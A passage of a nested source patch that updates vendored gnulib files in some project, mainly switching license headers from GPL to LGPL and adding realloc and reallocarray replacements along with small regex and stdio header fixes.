+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This file can be parametrized with the following macros:
+ CHAR_T The element type of the format string.
+@@ -48,16 +48,7 @@
+ #include <stddef.h>
+
+ /* Get intmax_t. */
+-#if defined IN_LIBINTL || defined IN_LIBASPRINTF
+-# if HAVE_STDINT_H_WITH_UINTMAX
+-# include <stdint.h>
+-# endif
+-# if HAVE_INTTYPES_H_WITH_UINTMAX
+-# include <inttypes.h>
+-# endif
+-#else
+-# include <stdint.h>
+-#endif
++#include <stdint.h>
+
+ /* malloc(), realloc(), free(). */
+ #include <stdlib.h>
+--- a/gnulib/lib/printf-parse.h
++++ b/gnulib/lib/printf-parse.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002-2003, 2005, 2007, 2010-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _PRINTF_PARSE_H
+ #define _PRINTF_PARSE_H
+--- /dev/null
++++ b/gnulib/lib/realloc.c
+@@ -0,0 +1,63 @@
++/* realloc() function that is glibc compatible.
++
++ Copyright (C) 1997, 2003-2004, 2006-2007, 2009-2021 Free Software
++ Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Jim Meyering and Bruno Haible */
++
++#include <config.h>
++
++#include <stdlib.h>
++
++#include <errno.h>
++
++#include "xalloc-oversized.h"
++
++/* Call the system's realloc below. This file does not define
++ _GL_USE_STDLIB_ALLOC because it needs Gnulib's malloc if present. */
++#undef realloc
++
++/* Change the size of an allocated block of memory P to N bytes,
++ with error checking. If P is NULL, use malloc. Otherwise if N is zero,
++ free P and return NULL. */
++
++void *
++rpl_realloc (void *p, size_t n)
++{
++ if (p == NULL)
++ return malloc (n);
++
++ if (n == 0)
++ {
++ free (p);
++ return NULL;
++ }
++
++ if (xalloc_oversized (n, 1))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ void *result = realloc (p, n);
++
++#if !HAVE_MALLOC_POSIX
++ if (result == NULL)
++ errno = ENOMEM;
++#endif
++
++ return result;
++}
+--- /dev/null
++++ b/gnulib/lib/reallocarray.c
+@@ -0,0 +1,39 @@
++/* reallocarray function that is glibc compatible.
++
++ Copyright (C) 2017-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Darshit Shah */
++
++#include <config.h>
++
++#include <stdlib.h>
++#include <errno.h>
++
++#include "intprops.h"
++
++void *
++reallocarray (void *ptr, size_t nmemb, size_t size)
++{
++ size_t nbytes;
++ if (INT_MULTIPLY_WRAPV (nmemb, size, &nbytes))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ /* Rely on the semantics of GNU realloc. */
++ return realloc (ptr, nbytes);
++}
+--- a/gnulib/lib/regcomp.c
++++ b/gnulib/lib/regcomp.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex.c
++++ b/gnulib/lib/regex.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex.h
++++ b/gnulib/lib/regex.h
+@@ -4,16 +4,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex_internal.c
++++ b/gnulib/lib/regex_internal.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex_internal.h
++++ b/gnulib/lib/regex_internal.h
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regexec.c
++++ b/gnulib/lib/regexec.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+@@ -1220,9 +1220,13 @@ proceed_next_node (const re_match_contex
+ {
+ re_node_set *cur_nodes = &mctx->state_log[*pidx]->nodes;
+ re_node_set *edests = &dfa->edests[node];
+- bool ok = re_node_set_insert (eps_via_nodes, node);
+- if (__glibc_unlikely (! ok))
+- return -2;
++
++ if (! re_node_set_contains (eps_via_nodes, node))
++ {
++ bool ok = re_node_set_insert (eps_via_nodes, node);
++ if (__glibc_unlikely (! ok))
++ return -2;
++ }
+
+ /* Pick a valid destination, or return -1 if none is found. */
+ Idx dest_node = -1;
+@@ -1414,7 +1418,7 @@ set_regs (const regex_t *preg, const re_
+ update_regs (dfa, pmatch, prev_idx_match, cur_node, idx, nmatch);
+
+ if ((idx == pmatch[0].rm_eo && cur_node == mctx->last_node)
+- || re_node_set_contains (&eps_via_nodes, cur_node))
++ || (fs && re_node_set_contains (&eps_via_nodes, cur_node)))
+ {
+ Idx reg_idx;
+ cur_node = -1;
+--- a/gnulib/lib/setlocale-lock.c
++++ b/gnulib/lib/setlocale-lock.c
+@@ -1,17 +1,17 @@
+ /* Return the internal lock used by setlocale_null_r.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019. */
+--- a/gnulib/lib/setlocale_null.c
++++ b/gnulib/lib/setlocale_null.c
+@@ -1,17 +1,17 @@
+ /* Query the name of the current global locale.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019. */
+--- a/gnulib/lib/setlocale_null.h
++++ b/gnulib/lib/setlocale_null.h
+@@ -1,17 +1,17 @@
+ /* Query the name of the current global locale.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019. */
+--- a/gnulib/lib/size_max.h
++++ b/gnulib/lib/size_max.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc.
+ Written by Simon Josefsson.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef GNULIB_SIZE_MAX_H
+ #define GNULIB_SIZE_MAX_H
+--- a/gnulib/lib/stat-time.c
++++ b/gnulib/lib/stat-time.c
+@@ -1,3 +1,21 @@
++/* stat-related time functions.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define _GL_STAT_TIME_INLINE _GL_EXTERN_INLINE
+ #include "stat-time.h"
+--- a/gnulib/lib/stat-time.h
++++ b/gnulib/lib/stat-time.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2005, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert. */
+--- a/gnulib/lib/stat-w32.c
++++ b/gnulib/lib/stat-w32.c
+@@ -1,17 +1,17 @@
+ /* Core of implementation of fstat and stat for native Windows.
+ Copyright (C) 2017-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible. */
+--- a/gnulib/lib/stat-w32.h
++++ b/gnulib/lib/stat-w32.h
+@@ -1,17 +1,17 @@
+ /* Core of implementation of fstat and stat for native Windows.
+ Copyright (C) 2017-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _STAT_W32_H
+--- a/gnulib/lib/stat.c
++++ b/gnulib/lib/stat.c
+@@ -1,17 +1,17 @@
+ /* Work around platform bugs in stat.
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake and Bruno Haible. */
+--- a/gnulib/lib/stdarg.in.h
++++ b/gnulib/lib/stdarg.in.h
+@@ -1,18 +1,18 @@
+ /* Substitute for and wrapper around <stdarg.h>.
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_STDARG_H
+
+--- a/gnulib/lib/stdbool.in.h
++++ b/gnulib/lib/stdbool.in.h
+@@ -1,18 +1,18 @@
+ /* Copyright (C) 2001-2003, 2006-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <haible@clisp.cons.org>, 2001.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_STDBOOL_H
+ #define _GL_STDBOOL_H
+--- a/gnulib/lib/stddef.in.h
++++ b/gnulib/lib/stddef.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake. */
+
+--- a/gnulib/lib/stdint.in.h
++++ b/gnulib/lib/stdint.in.h
+@@ -2,18 +2,18 @@
+ Written by Paul Eggert, Bruno Haible, Sam Steingold, Peter Burwood.
+ This file is part of gnulib.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /*
+ * ISO C 99 <stdint.h> for platforms that lack it.
+@@ -85,7 +85,7 @@
+
+ /* Override WINT_MIN and WINT_MAX if gnulib's <wchar.h> or <wctype.h> overrides
+ wint_t. */
+-#if @GNULIB_OVERRIDES_WINT_T@
++#if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # undef WINT_MIN
+ # undef WINT_MAX
+ # define WINT_MIN 0x0U
+@@ -598,7 +598,7 @@ typedef int _verify_intmax_size[sizeof (
+ /* wint_t limits */
+ /* If gnulib's <wchar.h> or <wctype.h> overrides wint_t, @WINT_T_SUFFIX@ is not
+ accurate, therefore use the definitions from above. */
+-# if !@GNULIB_OVERRIDES_WINT_T@
++# if !@GNULIBHEADERS_OVERRIDE_WINT_T@
+ # undef WINT_MIN
+ # undef WINT_MAX
+ # if @HAVE_SIGNED_WINT_T@
+--- a/gnulib/lib/stdio.in.h
++++ b/gnulib/lib/stdio.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2004, 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+@@ -242,7 +242,7 @@ _GL_WARN_ON_USE (fclose, "fclose is not
+ _GL_CXXALIAS_MDA (fcloseall, int, (void));
+ # else
+ # if @HAVE_DECL_FCLOSEALL@
+-# if defined __FreeBSD__
++# if defined __FreeBSD__ || defined __DragonFly__
+ _GL_CXXALIAS_SYS (fcloseall, void, (void));
+ # else
+ _GL_CXXALIAS_SYS (fcloseall, int, (void));
+@@ -1257,6 +1257,7 @@ _GL_CXXALIASWARN (scanf);
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define snprintf rpl_snprintf
+ # endif
++# define GNULIB_overrides_snprintf 1
+ _GL_FUNCDECL_RPL (snprintf, int,
+ (char *restrict str, size_t size,
+ const char *restrict format, ...)
+@@ -1302,6 +1303,7 @@ _GL_WARN_ON_USE (snprintf, "snprintf is
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define sprintf rpl_sprintf
+ # endif
++# define GNULIB_overrides_sprintf 1
+ _GL_FUNCDECL_RPL (sprintf, int,
+ (char *restrict str, const char *restrict format, ...)
+ _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 3)
+@@ -1369,6 +1371,7 @@ _GL_WARN_ON_USE (tmpfile, "tmpfile is no
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define asprintf rpl_asprintf
+ # endif
++# define GNULIB_overrides_asprintf
+ _GL_FUNCDECL_RPL (asprintf, int,
+ (char **result, const char *format, ...)
+ _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 3)
+@@ -1390,6 +1393,7 @@ _GL_CXXALIASWARN (asprintf);
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define vasprintf rpl_vasprintf
+ # endif
++# define GNULIB_overrides_vasprintf 1
+ _GL_FUNCDECL_RPL (vasprintf, int,
+ (char **result, const char *format, va_list args)
+ _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 0)
+@@ -1573,6 +1577,7 @@ _GL_CXXALIASWARN (vscanf);
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define vsnprintf rpl_vsnprintf
+ # endif
++# define GNULIB_overrides_vsnprintf 1
+ _GL_FUNCDECL_RPL (vsnprintf, int,
+ (char *restrict str, size_t size,
+ const char *restrict format, va_list args)
+@@ -1609,6 +1614,7 @@ _GL_WARN_ON_USE (vsnprintf, "vsnprintf i
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define vsprintf rpl_vsprintf
+ # endif
++# define GNULIB_overrides_vsprintf 1
+ _GL_FUNCDECL_RPL (vsprintf, int,
+ (char *restrict str,
+ const char *restrict format, va_list args)
+--- a/gnulib/lib/stdlib.in.h
++++ b/gnulib/lib/stdlib.in.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1995, 2001-2004, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+@@ -1032,12 +1032,23 @@ _GL_WARN_ON_USE (realloc, "realloc is no
+
+
+ #if @GNULIB_REALLOCARRAY@
+-# if ! @HAVE_REALLOCARRAY@
++# if @REPLACE_REALLOCARRAY@
